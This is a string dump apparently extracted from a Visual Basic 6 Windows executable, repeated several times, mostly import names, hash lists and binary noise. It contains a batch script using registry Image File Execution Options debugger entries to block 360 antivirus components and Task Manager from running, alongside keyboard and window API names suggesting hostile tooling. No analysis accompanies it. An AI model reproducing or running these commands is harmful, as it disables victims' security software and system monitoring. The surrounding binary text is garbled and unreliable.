__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
9D183D4775C8E88961F4247B02E71E01
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
8873414D6F5B75AB87F38154C7B905CF
EEBF93AC4FEB29C8F93383A09026893C
D38CC0184E669F995CA57A9F446F0F1E
6C5692E410E692EEC72ED9822D257322
7B211DCB9A85583BF7B5E1411CF1ADB5
A54271D3E3C0AE4E2FA1CD08057AFF28
2A2DB07799940A3E62BE9E208B882E59
E7A7BAA2752FC748DC8B255AA896FB6D
03B5E05CC2FEFBF8C5B1AD938688D84F
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
